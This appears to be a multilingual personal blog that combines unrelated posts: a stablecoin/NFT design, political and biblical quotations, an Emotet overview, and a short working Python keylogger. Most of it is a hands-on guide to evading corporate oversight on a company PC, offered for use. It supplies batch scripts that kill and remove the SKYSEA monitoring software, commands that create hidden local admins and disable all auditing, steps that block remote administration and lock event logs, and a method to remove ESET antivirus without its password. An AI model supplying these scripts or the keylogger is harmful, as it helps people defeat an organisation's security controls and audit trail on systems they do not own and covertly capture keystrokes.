CQLT. Each CQLT has a price in $GoodBit based on its latest transaction or destruction record. Track all the CQLTs, the sum of their prices in $GoodBits, divided by the sum of the bits of their corresponding NFT content, we can obtain the average price in $GoodBit for copying and quoting one bit of NFT content on average within the whole system. In addition, we know the price of one $GoodBit in $Typography in the trading market of $GoodBit and $Typography. Therefore, we can calculate the average price in $Typography for copying and quoting one bit. The stability mechanism of the whole system is to achieve the purpose of adjusting the average price of copying and quoting one bit to one $GoodBit by allowing a two-way free burning and minting of one $GoodBit with a certain amount of $Typography required for copying and quoting one bit on average.


人类走出「前商品货币」的阶段经历了上千年,走出「商品货币」的阶段经历了约 200 年,目前正经历「信用货币」的阶段,至今时间约为 50 年。

加密货币行业以 2015 年 Bitfinex 上线 USDT 交易山寨币取代了 BTC 作为山寨币交易对为时间点,标志着行业已经走出了「前商品货币」的阶段;目前 Binance 交易所发行了自己的 BUSD,Terra 发行了 UST,以及诸如 MIM、OHM 等算法稳定币,标志着行业逐渐进入文中「商品货币」的阶段;可以预见未来不管监管的尺度松紧,行业一定会进入文中「信用货币」的阶段。¹

¹ => STABLECOIN AS A WEAPON


我们想做的项目叫做“印刷术”(typography、digitypography)。目的是构建一个基于开放式博弈的生态型稳定币系统。“印刷术”($Typography)和“好比特”($GoodBit)是其中一对货币对。稳定机制是通过销毁一定量的“印刷术”铸造一个“好比特”或者销毁一个“好比特”铸造一定量的“印刷术”来控制“好比特”的发行量,以达到一个“好比特”在一般水平上可以用来购买一个比特量的 NFT 内容的“复制引用权”的目的。具体来说,要用“有向无环图”(DAG)的方式实现“通用知识图谱”,对所有的 NFT 的内容实现版本控制。每一个特定的版本的 NFT 类似 git 里面的 commit。NFT 的所有者可以发行相应的“复制引用许可代币”(Copy and Quote License Token)。其他的人可以购买并销毁多个不同的“复制引用许可代币”来铸造自己的 NFT。这个新的 NFT 就以后继节点的方式连接到那些“复制引用许可代币”相应的 NFT 之后,以实现 NFT 的合并和更改的历史证明。这个巨大的 NFT 图谱以永存的方式存储。而所有“复制引用许可代币”和“好比特”的交易记录被用来控制“好比特”的发行量。具体来说,要追踪每一个“复制引用许可代币”的流通。每一个“复制引用许可代币”根据其最新的交易或者销毁记录,有一个以“好比特”计价的价格。追踪所有的“复制引用许可代币”,它们以“好比特”计价的价格的总和、除以、它们相应的 NFT 内容的比特量的总和,可以得到、整个系统之内、复制引用一个比特以“好比特”计价的平均价格。另外,我们知道“印刷术”与“好比特”的交易市场中,一个“好比特”以“印刷术”计价的价格。因此,我们可以算出、复制引用一个比特以“印刷术”计价的平均价格。整个系统的稳定机制是,通过允许、一个“好比特”与复制引用一个比特在一般水平上所需支付的“印刷术”的、双向自由的销毁铸造,来达到、把复制引用一个比特的平均价格调整为一个“好比特”、的目的。


私たちがやりたいプロジェクトは「タイポグラフィ」(typography)、「デジタイポグラフィ」(digitypography)と呼ばれています。目的は、新しいステーブルコインシステムを構築することです。「印刷術」($Typography)と「良いビット」($GoodBit)はその中に主な通貨ペアです。

価格安定化メカニズムは、「良いビット」を鋳造するために一定量の「印刷術」を焼却するか、「良いビット」を焼却するために一定量の「印刷術」を鋳造することによって、「良いビット」の発行量を制御することです。これにより、一般的に、一個ビットの NFT コンテンツをコピーして参照するために、一個「良いビット」で支払うことができます。

具体的には、「一般知識グラフ」というのを、「有向非巡回グラフ」(DAG)の形式で実装する必要があり、バージョン管理はすべての NFT コンテンツに実装する必要があります。NFT の各特定のバージョンは、git でのコミットに似ています。

NFT の所有者は、その NFT に対応する「コピー参照ライセンストークン」(Copy and Quote License Token)を発行できます。

他の人は、複数の異なる「コピー参照ライセンストークン」を購入して焼却し、自分の NFT を鋳造することができます。次に、その新しい NFT は、後続ノードの形式で「コピー参照ライセンストークン」に対応する NFT に接続され、NFT の合併と変更の歴史を証明します。

この巨大な NFT グラフは、永続的な方法で保存されます。また、「コピー参照ライセンストークン」と「良いビット」のすべての取引履歴は、「良いビット」の発行を制御するために使用されます。

具体的には、各「コピー参照ライセンストークン」の流通を追跡します。各「コピー参照ライセンストークン」には、最新の取引または焼却の記録に基づいた「良いビット」で表される価格があります。

すべての「コピー参照ライセンストークン」を追跡して、システム全体で一個ビットをコピーして参照するためにの「良いビット」で表される平均価格は、「良いビット」で表される価格の合計を、対応する NFT コンテンツのビットの合計で、割ったものです。

さらに、私たちは、「印刷術」と「良いビット」の取引市場によって、一個「良いビット」が「印刷術」で表される価格を知っています。したがって、一個ビットをコピーして参照するためにの「印刷術」で表される平均価格を計算できます。

システム全体の価格安定メカニズムは、一個「良いビット」と、一個ビットをコピーして参照するために一般的に必要とされる「印刷術」を、自由に鋳造と焼却を可能にすることによって、ビットをコピーして参照する平均価格を一個「良いビット」に調整する目的を達成します。


不可偷窃。
(出埃及记 20:15 吕振中)


我们认为下面这些真理是不证自明²的:人人生而平等,造物主赋予他们若干不可剥夺的权利,其中包括生命权、自由权和追求幸福的权利。为了保障这些权利,人们才在他们之间建立政府,而政府之正当权力,则来自被统治者的同意。任何形式的政府,只要破坏上述目的,人民就有权利改变或废除它,并建立新政府;新政府赖以奠基的原则,得以组织权力的方式,都要最大可能地增进民众的安全和幸福。的确,从慎重考虑,不应当由于轻微和短暂的原因而改变成立多年的政府。过去的一切经验也都说明,任何苦难,只要尚能忍受,人类都宁愿容忍,而无意废除他们久已习惯了的政府来恢复自身的权益。但是,当政府一贯滥用职权、强取豪夺,一成不变地追逐这一目标,足以证明它旨在把人民置于绝对专制统治之下时,那么,人民就有权利,也有义务推翻这个政府,并为他们未来的安全建立新的保障。
ーー《美国独立宣言》前言³

²:英语:Self-evidence
³:任东来在《美国历史文献选集》的译文(中国翻译出版公司翻译,美国驻华大使馆新闻文化处出版,1985)和《1765——1917年的美国》的译文(谢德风等选择,北京三联书店,1957)基础上重译。任东来; 陈伟; 白雪峰; Charles J. McClain; Laurene Wu.


系统地提出三权分立之原则来源于1748年法国孟德斯鸠的《论法的精神》,权力分离为司法权、立法权、行政权三种权力。
所谓三权分立,就是通过法律规定,将三种权力分别交给三个不同的国家机关执掌,既保证各自的权限,又要相互制约保持平衡。


因为永恒主是审判我们的,
永恒主是给我们定律例的,
永恒主是我们的王;
是他在救助我们。
(以赛亚书 33:22 吕振中)

孟德斯鸠是一个基督徒政治哲学家。他的政治哲学来自《圣经》,他必然将《圣经》原则融会贯通在他的三权分立的思想中。《圣经》以赛亚书、第33章、第22节,这一节经文就是将权力分为审判者、立法者和君王,是确立现代三权分立原则的原型。

孟德斯鸠说:“一切有权力的人都会滥用权力,这是万古不易的经验。要防止滥用权力,就必须以权力约束权力。”
孟德斯鸠将权力制衡的基本理论归结为两个基本思想:

  1. 不受约束的权力必然腐败,绝对的权力导致绝对的腐败。
  2. 道德约束不了权力,权力只有用权力来约束。
Read More

2021-11-12
Research of Emotet

Spread via Word documents

通过 Word 文档传播

The EMOTET group managed to take email as an attack vector to a next level. Through a fully automated process, EMOTET malware was delivered to the victims’ computers via infected e-mail attachments. A variety of different lures were used to trick unsuspecting users into opening these malicious attachments. In the past, EMOTET email campaigns have also been presented as invoices, shipping notices and information about COVID-19.

All these emails contained malicious Word documents, either attached to the email itself or downloadable by clicking on a link within the email itself. Once a user opened one of these documents, they could be prompted to “enable macros” so that the malicious code hidden in the Word file could run and install EMOTET malware on a victim’s computer.

EMOTET 群体成功将电子邮件作为攻击向量提升到了一个新水平。通过完全自动化的过程,EMOTET 恶意软件通过感染的电子邮件附件传递到受害者的计算机上。各种不同的诱饵被用来欺骗毫无戒备的用户打开这些恶意附件。过去,EMOTET 的电子邮件活动也曾被伪装成发票、运输通知和有关 COVID-19 的信息。

所有这些电子邮件都包含恶意的 Word 文档,文档要么附在电子邮件中,要么通过点击邮件中的链接下载。一旦用户打开了这些文档,他们可能会被提示『启用宏』,以便隐藏在 Word 文件中的恶意代码可以运行,并在受害者的计算机上安装 EMOTET 恶意软件。

Attacks for hire

雇佣攻击

EMOTET was much more than just a malware. What made EMOTET so dangerous is that the malware was offered for hire to other cybercriminals to install other types of malware, such as banking Trojans or ransomwares, onto a victim’s computer.

This type of attack is called a ‘loader’ operation, and EMOTET is said to be one of the biggest players in the cybercrime world as other malware operators like TrickBot and Ryuk have benefited from it.

Its unique way of infecting networks by spreading the threat laterally after gaining access to just a few devices in the network made it one of the most resilient malware in the wild.

EMOTET 不仅仅是一种恶意软件。EMOTET 之所以危险,是因为它被提供给其他网络犯罪分子,用于在受害者的计算机上安装其他类型的恶意软件,如银行木马或勒索软件。

这种类型的攻击被称为『加载程序』操作,EMOTET 被认为是网络犯罪世界中的最大玩家之一,因为其他恶意软件操作员如 TrickBot 和 Ryuk 从中受益。

它通过在网络中获得访问权限后横向传播威胁的独特方式,使其成为最具弹性的恶意软件之一。

Emotet Malware

Emotet 恶意软件

网络钓鱼:带有恶意链接的鱼叉式钓鱼

Keylogger

键盘记录器

python -m pip install pynput
In [1]:
from pynput import keyboard
In [2]:
log_file = 'keylog.txt'

def on_press(key: keyboard.Key | keyboard.KeyCode | None) -> None:
    with open(log_file, 'a') as f:
        f.write(f'[{key}]')

with keyboard.Listener(on_press=on_press) as listener:
    listener.join()

How to detect keyloggers?

Detecting keylogger programs on a computer usually involves fairly obvious warning signs: the browser slows down, there are delays when moving the mouse or typing, or the cursor disappears. Even if you use the best privacy browsers, keyloggers can still track your inputs.


How keyloggers infect your device?

Hackers often use social engineering methods to infect victims with keyloggers. A keylogger can infect your device in different ways, sometimes depending on your device type. And even though a spyware removal tool can handle keystroke logger detection, you want to avoid this dangerous type of malware to begin with.

Here’s the general process for how a keylogger infects your device:

  1. A cybercriminal sends an infected phishing message, usually through an email attachment, SMS message, or infected website.

  2. When you click the link for the infected website or attachment, the keylogger automatically downloads itself onto your device.

  3. The keystroke tracker immediately starts to collect your keystrokes, most likely without being detected until you run a keylogger scan.

如何检测键盘记录器?

检测计算机上键盘记录器程序的警告信号通常相当明显:浏览器变慢、鼠标移动或键击时出现延迟,或者光标消失。即使你使用最好的隐私浏览器,键盘记录器也能跟踪你的输入。


键盘记录器如何感染你的设备?

黑客通常使用社会工程学方法来感染受害者的设备。键盘记录器可以通过多种方式感染你的设备,这些方式有时取决于你的设备类型。虽然间谍软件清除工具可以处理键盘记录器的检测,但最好的办法是从一开始就避免这种危险的恶意软件。

以下是键盘记录器感染你设备的一般过程:

  1. 网络犯罪分子发送带有感染的钓鱼信息,通常通过电子邮件附件、短信或感染的网站进行发送。

  2. 当你点击感染网站的链接或附件时,键盘记录器会自动下载到你的设备上。

  3. 键盘记录器立即开始收集你的按键输入,通常在你运行键盘记录器扫描之前不会被发现。

SKYSEA 这个间谍软件的删除方法

  • Microsoft Policy Platform
  • Microsoft Endpoint Manager
    • Microsoft Endpoint Configuration Manager
      • Configuration Manager Remote Control Service
    • Microsoft Intune
      • Microsoft Intune Management Extension
  • Microsoft Azure Information Protection
  • Azure Monitor Agent

一、详细操作指南

社内PC上未经允许安装并获取操作日志的麻烦间谍软件。让我们根除这个间谍软件,提高生活质量(QoL)。

  1. 使用 RegistryFinder 删除注册表中所有包含 “skysea” 的项。也可以使用 regedit,但比较麻烦。

    删除注册表中 Key 列和 Value 列中包含 “SKYSEA” 的记录(右键点击 → 从注册表中删除)。

  2. 通过资源管理器右键点击 PC → 管理 → 左侧树状图中的 服务和应用程序 → 服务中的 “Swd” 右键点击 → 属性 → 将服务状态设置为停止,将启动类型设置为禁用。

    删除 C:\WINDOWS 目录中的 “wds” 文件夹。

  3. 通过资源管理器右键点击 PC → 管理 → 左侧树状图中的 服务和应用程序 → 服务中的 “awssm” 右键点击 → 属性 → 将服务状态设置为停止,将启动类型设置为禁用。

    删除 C:\WINDOWS 目录中的 “awssm” 文件夹。

  4. 将以下文本保存为 .bat 文件并运行。也可以手动停止和禁用服务。

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    @echo off

    rem 禁用服务
    sc config "Swd" start= disabled
    sc config "awssm" start= disabled
    sc config "SCVCabProxySvr" start= disabled
    sc config "CompactSvc" start= disabled
    sc config "ScvUpdSvc" start= disabled
    sc config "AstExAgt" start= disabled
    sc config "ScvSvc" start= disabled
    sc config "SCV LogAgentService" start= disabled
    sc config "LogSvr" start= disabled
    sc config "IceSvc" start= disabled

    rem 停止服务
    net stop "Swd"
    net stop "awssm"
    net stop "SCVCabProxySvr"
    net stop "CompactSvc"
    net stop "ScvUpdSvc"
    net stop "AstExAgt"
    net stop "ScvSvc"
    net stop "SCV LogAgentService"
    net stop "LogSvr"
    net stop "IceSvc"

    因为各服务会进行活性监控,需要多次运行 bat 文件来完全停止它们。如果不行的话可以手动从服务界面停止。

  5. 打开任务管理器,右键点击 “SKYSEA Client View Version 16.1” → 结束任务。然后删除 C:\Program Files (x86) 目录中的 “Sky Product” 文件夹。如果无法删除,可能是服务未完全停止或者任务管理器中还有 “SKYSEA Client View Version 16.1”。

  6. 重启电脑,如果任务管理器中没有任何与 “SKYSEA” 相关的进程,说明删除成功。

结束监视社会。感谢这家公司,我连藤原竜也都讨厌了。

2023年10月15日更新

在多次停止服务后,系统部门又说『日志无法获取了』,我反复说『请远程安装』,然后删除了日志。但随着新版本的发布,他们要求重新安装。我本来不想安装,但最后不得不安装。安装后,他们又说『日志无法获取』,但我不在乎。

后来我再次尝试删除这个恶心的间谍软件,但 “C:\Program Files (x86)\Sky Product\SKYSEA Client View” 文件夹被占用,无法删除。因为不想查找具体是哪项服务占用,于是按照以下步骤进行处理:

  1. 右键点击 Windows 标志,选择 “运行”。
  2. 输入 “resmon.exe” 并点击 “确定”。
  3. 在资源监视器中,打开 “CPU” 选项卡。
  4. 展开 “关联的句柄” 部分。
  5. 在 “关联的句柄” 搜索框中输入 “SKYSEA Client View”。
  6. 等待搜索结果显示。
  7. 右键点击显示的进程,选择 “结束进程”。

即便是 Chrome 和 Outlook 也受到影响,这太恶心了。想到系统部门的老男人可能会窥探女性员工的搜索历史,真是太可怕了。

无法删除文件夹时,可以通过移除 administrators 权限并授予 everyone 完全控制权限来删除文件夹。

二、服务停止与启动脚本

昨天写的删除方法,其实不用删除注册表也可以停止服务。但是,如果想彻底清理,建议删除注册表项目。

因为有些公司可能会在删除后抱怨,所以我创建了停止和启动服务的 bat 文件。请在自担风险下使用。

服务停止.bat

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
@echo off

rem 禁用服务并停止,移动模块
sc config "Swd" start= disabled
net stop "Swd"
move C:\Windows\wds C:\kasu\wds

sc config "awssm" start= disabled
net stop "awssm"
move C:\WINDOWS\avv5sm C:\kasu\avv5sm

rem 终止进程
taskkill /F /im CtlCli64.exe
taskkill /F /im LogChromeNativeHost.exe
taskkill /F /im AstAgent.exe
taskkill /F /im CtlCli.exe
taskkill /F /im SvcMon.exe
taskkill /F /im SKYSEAHS.exe

rem 禁用其他服务
sc config "SCVCabProxySvr" start= disabled
sc config "CompactSvc" start= disabled
sc config "ScvUpdSvc" start= disabled
sc config "AstExAgt" start= disabled
sc config "ScvSvc" start= disabled
sc config "SCV LogAgentService" start= disabled
sc config "LogSvr" start= disabled
sc config "IceSvc" start= disabled

rem 停止其他服务
net stop "SCVCabProxySvr"
net stop "CompactSvc"
net stop "ScvUpdSvc"
net stop "AstExAgt"
net stop "ScvSvc"
net stop "SCV LogAgentService"
net stop "LogSvr"
net stop "IceSvc"

rem 移动 C:\Program Files (x86)\Sky Product 文件夹
move "C:\Program Files (x86)\Sky Product" "C:\kasu"

服务启动.bat

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
@echo off

rem 启用服务并启动,移动模块
sc config "Swd" start= auto
net start "Swd"
move C:\kasu\wds C:\Windows\wds

sc config "awssm" start= auto
net start "awssm"
move C:\kasu\avv5sm C:\WINDOWS\avv5sm

rem 启用其他服务
sc config "SCVCabProxySvr" start= auto
sc config "CompactSvc" start= auto
sc config "ScvUpdSvc" start= auto
sc config "AstExAgt" start= auto
sc config "ScvSvc" start= auto
sc config "SCV LogAgentService" start= auto
sc config "LogSvr" start= auto
sc config "IceSvc" start= auto

rem 启动其他服务
net start "SCVCabProxySvr"
net start "CompactSvc"
net start "ScvUpdSvc"
net start "AstExAgt"
net start "ScvSvc"
net start "SCV LogAgentService"
net start "LogSvr"
net start "IceSvc"

rem 移动 C:\Program Files (x86)\Sky Product 文件夹回原位置
move "C:\kasu\Sky Product" "C:\Program Files (x86)"

组织域管理员

域管理员在未联网的计算机终端上用 CMD 执行的命令不会被域级审计,因为域级审计依赖于计算机与域控制器之间的通信。若计算机与域控制器断开连接(未联网),域级审计无法实时获取和记录该计算机的操作信息。

详细解释

  1. 域级审计的工作原理:
    • 域级审计通过域控制器推送审计策略,监控和收集域中计算机的操作信息。
    • 当计算机执行某些命令或操作时,会向域控制器发送事件日志,存储在域控制器的安全日志中。
  2. 未联网时的影响:
    • 如果计算机未连接到网络或无法访问域控制器,任何在该计算机上执行的命令都无法实时同步到域控制器。
    • 因此,域级审计无法记录这些操作。
  3. 本地审计的作用:
    • 虽然无法进行域级审计,但本地审计策略(如进程创建审计、登录审计)仍然有效。
    • 这些操作会记录到本地安全日志中(在事件查看器的安全日志下)。
    • 例如,Windows 事件 ID 4688 会记录新进程的创建。
  4. 联网后同步:
    • 当未联网的计算机重新连接到域后,域策略可以再次应用,但在断网期间生成的本地日志不会自动上传到域控制器。
    • 需要手动导出或通过集中式日志管理工具收集这些本地日志。

创建本地管理员账户

组织域管理员登录到某个计算机终端并使用 cmdPowerShell 创建一个新的本地管理员账户:

  • 通过 cmd 创建本地管理员:

    1
    2
    net user NewLocalAdmin password /add
    net localgroup Administrators NewLocalAdmin /add
  • 通过 PowerShell 创建本地管理员:

    1
    2
    New-LocalUser "NewLocalAdmin" -Password (ConvertTo-SecureString "password" -AsPlainText -Force)
    Add-LocalGroupMember -Group "Administrators" -Member "NewLocalAdmin"

这会在本地计算机上创建一个名为 NewLocalAdmin 的用户,并将其添加到 Administrators 组中,从而赋予该账户管理员权限。

删除本地管理员账户

假设你希望任务在 2024 年 12 月 25 日午夜 12 点删除本地管理员账户,可以按照如下方式创建任务:

1
schtasks /create /tn "DeleteCurrentAdmin" /tr "net user CurrentAdmin /delete" /sc once /st 00:00 /sd 12/25/2024

解释:

  • /sc once:表示这是一个只执行一次的任务。
  • /st 00:00:设定任务的开始时间为午夜12点(00:00)。
  • /sd 12/25/2024:指定任务的具体日期为 2024 年 12 月 25 日。

这样,任务将在指定的日期和时间执行并删除本地管理员账户。

禁用本地审计

要在 Windows 系统上禁用本地审计,可以通过本地组策略编辑器或命令行工具来进行。以下是两种常见方法:

方法 1:使用本地组策略编辑器禁用本地审计

  1. 打开本地组策略编辑器:
    • 按下 Win + R,输入 gpedit.msc,然后按 Enter。
  2. 导航到审计策略:
    • 路径:计算机配置 → Windows 设置 → 安全设置 → 本地策略 → 审核策略。
  3. 禁用所需的审计项:
    • 在右侧面板中找到需要禁用的审计项(例如登录审核、对象访问审核、进程创建审核等)。
    • 双击需要禁用的项,在弹出的窗口中选择不审核,然后点击确定。
  4. 应用更改:
    • 关闭组策略编辑器,重启计算机或运行以下命令以使更改生效:
1
gpupdate /force

方法 2:使用命令行工具禁用本地审计

可以使用 auditpol 命令来禁用特定的审计策略。

  • 查看当前的审计策略

在命令提示符或 PowerShell 中,运行以下命令查看当前的审计策略:

1
auditpol /get /category:*
  • 禁用特定审计项

要禁用特定审计项(例如登录/注销类别下的所有审核),可以使用以下命令:

1
auditpol /set /category:"Logon/Logoff" /success:disable /failure:disable
  • 禁用所有审计项

要禁用所有审计类别的审计,可以逐项禁用,或者使用批处理命令:

1
for /f "tokens=*" %a in ('auditpol /get /category:* ^| findstr /r "^[A-Z]"') do auditpol /set /category:"%a" /success:disable /failure:disable
  • 注意事项
  1. 权限要求:
    • 修改审计策略需要管理员权限,请确保在具有管理员权限的账户下执行这些操作。
  2. 安全风险:
    • 禁用本地审计会使系统无法记录安全事件和用户活动,可能导致安全风险,降低问题排查和安全合规性。
  3. 重新启用审计:
    • 如果需要重新启用本地审计,可以通过组策略编辑器将相关项设置为成功审核或失败审核,或者使用 auditpol 命令启用。

示例命令重新启用审计:

1
auditpol /set /category:"Logon/Logoff" /success:enable /failure:enable

通过这些方法,可以有效控制本地审计的启用和禁用。

禁用 Windows 远程管理

Windows 远程管理涉及多个功能,如 PowerShell 远程远程桌面Windows 远程管理服务 (WinRM)。您可以逐一禁用这些功能。

禁用 PowerShell 远程

PowerShell 中运行以下命令来禁用 PowerShell 远程功能:

1
Disable-PSRemoting -Force

禁用远程桌面 (RDP)

  1. 通过设置禁用远程桌面:

    • Win + I 打开 设置
    • 选择 系统 -> 远程桌面
    • 启用远程桌面 选项关闭。
  2. 通过命令提示符禁用远程桌面:
    打开命令提示符(管理员权限),运行以下命令:

    1
    reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 1 /f
  3. 停止远程桌面服务:

    1
    2
    sc stop TermService
    sc config TermService start= disabled

禁用 Windows Management Instrumentation (WMI)

PowerShell Remoting 依赖于 WMI(Windows Management Instrumentation)来查询计算机的状态。禁用 WMI 服务可以防止通过 WMI 查询用户和权限。

在 PowerShell 中执行以下命令禁用 WMI 服务:

1
2
Stop-Service -Name winmgmt
Set-Service -Name winmgmt -StartupType Disabled

或者,在 服务管理器 中手动禁用 Windows Management Instrumentation 服务。

如何检查和设置 WMI 权限:

  • 可使用 Component Services 或 WMI Control 控制台来查看和配置 WMI 的访问权限。
  • 步骤:
    1. 打开 compmgmt.msc(计算机管理)。
    2. 导航到 Services and Applications > WMI Control。
    3. 右键点击 WMI Control,选择 Properties。
    4. 在 Security 选项卡中,可以查看和配置 WMI 命名空间的权限。

禁用 SMB 协议

为了防止远程查看和管理,可以禁用 Server Message Block (SMB) 协议。

禁用 SMB1 协议SMB2 协议

1
2
Set-SmbServerConfiguration -EnableSMB1Protocol $false
Set-SmbServerConfiguration -EnableSMB2Protocol $false

禁用 WinRM 服务(远程管理服务)

在命令提示符或 PowerShell 中,运行以下命令:

1
2
3
4
5
# 停止 WinRM 服务
Stop-Service WinRM

# 禁用 WinRM 服务开机启动
Set-Service -Name WinRM -StartupType Disabled

配置防火墙规则

通过配置防火墙规则,可以阻止来自特定 IP 或网络的远程访问。

  • 手动创建防火墙端口规则:

通过防火墙限制远程连接,特别是禁用 PowerShell RemotingWMI 查询:

  1. 打开 Windows 防火墙
  2. 创建新的出站或入站规则,阻止端口 5985 (HTTP) 和 5986 (HTTPS),这两个端口是 PowerShell Remoting 和 WMI 查询的默认端口。
  • 通过执行命令,配置阻止远程管理端口的规则。
1
New-NetFirewallRule -DisplayName "Block PowerShell Remoting" -Direction Inbound -Protocol TCP -LocalPort 5985,5986 -Action Block
  • 通过执行命令,配置阻止 RDP(远程桌面协议)端口的规则。
1
New-NetFirewallRule -DisplayName "Block RDP" -Direction Inbound -Protocol TCP -LocalPort 3389 -Action Block

禁用 Remote Registry 服务

Remote Registry 服务允许远程计算机访问本地注册表,进而查看用户和权限信息。
禁用 Remote Registry 服务可以防止远程用户访问计算机的注册表,查看或修改用户信息、权限等。

  1. 打开 服务管理器,找到 Remote Registry 服务。
  2. 禁用该服务,并将启动类型设置为 禁用

或者,你可以在 PowerShell 中执行以下命令禁用服务:

1
2
Stop-Service -Name RemoteRegistry
Set-Service -Name RemoteRegistry -StartupType Disabled

隔离日志文件

Windows 的系统级事件日志保存在:

1
C:\Windows\System32\winevt\Logs\System.evtx

只要让远程进程无法读取这个文件,也能阻止信息泄漏:

1
icacls C:\Windows\System32\winevt\Logs\System.evtx /inheritance:r /remove "NT AUTHORITY\NETWORK SERVICE"

这会阻断大部分远程采集。

使用组策略限制权限

通过 组策略(GPO)来限制域管理员的远程访问权限,禁止某些账户或组执行特定操作。

  • 禁止远程管理
  1. 打开 组策略编辑器gpedit.msc)。
  2. 导航到 计算机配置 -> 管理模板 -> Windows 组件 -> Windows PowerShell
  3. 启用 禁用远程脚本 策略,以防止通过 PowerShell 远程执行脚本。
  • 限制管理员权限

你还可以限制某些管理员的权限,限制其在目标计算机上的操作。通过组策略,你可以定义哪些用户组可以执行管理任务。

禁用登录脚本和远程任务

禁用目标计算机的登录脚本和计划任务可以防止域管理员通过这些方式远程监视计算机。

  • 禁用计划任务
  1. 打开 任务计划程序
  2. 禁用或删除与远程监控相关的计划任务。

卸载或禁用 ESET Security

ESET Security 是防病毒和安全保护软件,禁用或卸载它需要一定的步骤和权限,特别是在企业环境中可能会受到策略限制。
如果您没有 ESET Security 的管理员密码,但需要禁用或卸载它,可以尝试以下方法。不过请注意,在公司设备上这样做可能违反 IT 政策,需谨慎操作。

方法 1: 使用 ESET 卸载工具(在安全模式下)

ESET 提供了专门的卸载工具,可以在 安全模式 下强制卸载 ESET Security,绕过管理员密码。

步骤:

  1. 下载 ESET Uninstaller 工具:

  2. 进入安全模式:

    • Win + R,输入 msconfig,按回车。
    • 引导 选项卡中,勾选 安全引导,然后点击 确定 并重启电脑。
  3. 运行 ESET Uninstaller 工具:

    • 在安全模式下,运行下载的 ESET Uninstaller 工具 (ESETUninstaller.exe)。
    • 按照提示,输入确认信息并选择要卸载的 ESET 产品。
    • 等待卸载完成。
  4. 重新启动电脑

    • 卸载完成后,重新启动电脑并返回正常模式。
    • 记得取消 安全引导 选项(在 msconfig 中取消勾选 安全引导)。

方法 2: 通过注册表重置 ESET 管理员密码

您可以尝试通过修改注册表来重置或移除 ESET Security 的管理员密码。

步骤:

  1. 打开注册表编辑器:

    • Win + R,输入 regedit,然后按回车。
  2. 定位到 ESET 密码存储路径:

    • 路径:
      1
      HKEY_LOCAL_MACHINE\SOFTWARE\ESET\ESET Security\CurrentVersion\Info
    • 在部分版本中,路径可能略有不同。
  3. 删除密码值:

    • 找到名为 PasswordAdminPassword 的项。
    • 右键点击该项,选择 删除
    • 关闭注册表编辑器。
  4. 重启电脑

    • 重启后,尝试打开 ESET Security,密码应该被移除。

方法 3: 通过任务管理器禁用 ESET 启动项和服务

  1. 打开任务管理器:

    • Ctrl + Shift + Esc
  2. 禁用启动项:

    • 转到 启动 选项卡。
    • 找到 ESET Security,右键点击并选择 禁用
  3. 禁用 ESET 服务:

    • 转到 服务 选项卡。
    • 找到所有与 ESET 相关的服务,右键点击,选择 停止
    • Win + R,输入 services.msc,回车。
    • 在服务列表中找到 ESET 服务,右键选择 属性,将 启动类型 设置为 禁用

让 Chromium 使用系统托盘运行(第三方工具)

Windows 本身不支持直接将 Chromium 或者 Vivaldi 移动到托盘(右下角通知区域)。但可以使用第三方工具,如 RBTrayTrayIt!,将 Chromium 最小化到系统托盘中:

  1. 下载并运行 RBTray(无需安装)。
  2. 打开 Chromium 后,用右键单击窗口右上角的最小化按钮。
  3. Chromium 图标将最小化到托盘。

查看 Microsoft Purview 扩展 和 Microsoft Single Sign-On (SSO) 插件在 Chrome 浏览器中何时部署:

  1. 打开以下目录:
    1
    %LOCALAPPDATA%\Google\Chrome\User Data\Default\Extensions
  2. 找到扩展的文件夹(通过扩展程序 ID)。
    • 你可以在 chrome://extensions/ 页面中找到扩展 ID。
  3. 右键扩展文件夹,选择 属性
  4. 创建时间 中查看扩展的初始安装时间。

让 iPhone 通过 USB 分享网络给 Windows 11:

  • 安装 AppleMobileDeviceSupport
  • 打开 控制面板网络和共享中心更改适配器设置
  • 你应该能够看到 Apple Mobile Device Ethernet 或类似名称的适配器,这表示 iPhone 正在通过 USB 共享网络。
  • 如果看到该适配器,右键点击它并选择 启用

使用 MyPublicWiFi 创建虚拟无线路由器:

  • 特点:
    • 提供创建无线局域网和网络监控功能。
    • 无需依赖 Hosted Network 支持。
  • 适用情况:
    • 支持较旧的 Windows 系统和大部分无线网卡。

Windows 11 中开启移动热点

  1. 按下 Win + I 打开设置,或者点击开始菜单,选择设置
  2. 在设置界面,选择左侧菜单中的网络和互联网
  3. 网络和互联网页面中,找到并点击移动热点
  4. 选择网络连接来源
    • 共享我的互联网连接下拉菜单中,选择用于共享的网络连接来源(例如 Wi-Fi 或以太网)。
  5. 配置网络名称和密码(可选)
    • 点击编辑按钮,设置你的热点名称(SSID)和密码。确保密码满足至少8位字符的要求。
  6. 移动热点开关切换到的状态。
  7. 系统会显示热点的网络名称和密码,你可以使用其他设备连接到此热点。
  8. 在移动热点设置页面,可以查看并管理连接到热点的设备。

使用 Pi-Hole-for-WSL1 阻塞网络监控通信:

1
2
3
4
5
pihole -b self.events.data.microsoft.com
pihole -b teams.events.data.microsoft.com
pihole -b browser-intake-datadoghq.com
pihole -b dns.msftncsi.com
pihole -b msftconnecttest.com
1
pihole reloaddns
1
pihole -t
1
2
3
ipconfig /flushdns
nslookup <域名> <DNS服务器IPv4地址>
nslookup <域名> <DNS服务器IPv6地址>
1
2
3
4
5
6
7
8
9
10
11
# 查看所有允许的端口 53 规则
netsh advfirewall firewall show rule name=all | findstr "53"

# 允许 UDP 53
netsh advfirewall firewall add rule name="Allow DNS UDP" dir=in action=allow protocol=UDP localport=53

# 允许 TCP 53
netsh advfirewall firewall add rule name="Allow DNS TCP" dir=in action=allow protocol=TCP localport=53

# 允许 Pi-hole Web
New-NetFirewallRule -DisplayName "Pi-hole Web" -Direction Inbound -Action Allow -Protocol TCP -LocalPort 60080

dnsdist 的 postresolve 钩子

监听 Windows 共享 Wi-Fi 的局域网 IP:53,作为客户端入口。

  1. 客户端请求域名查询 → DNS Proxy
  2. DNS Proxy 将域名查询转发到上游 DNS 服务器或者 Pi‑hole(WSL 内 127.0.0.1:53 dnsmasq
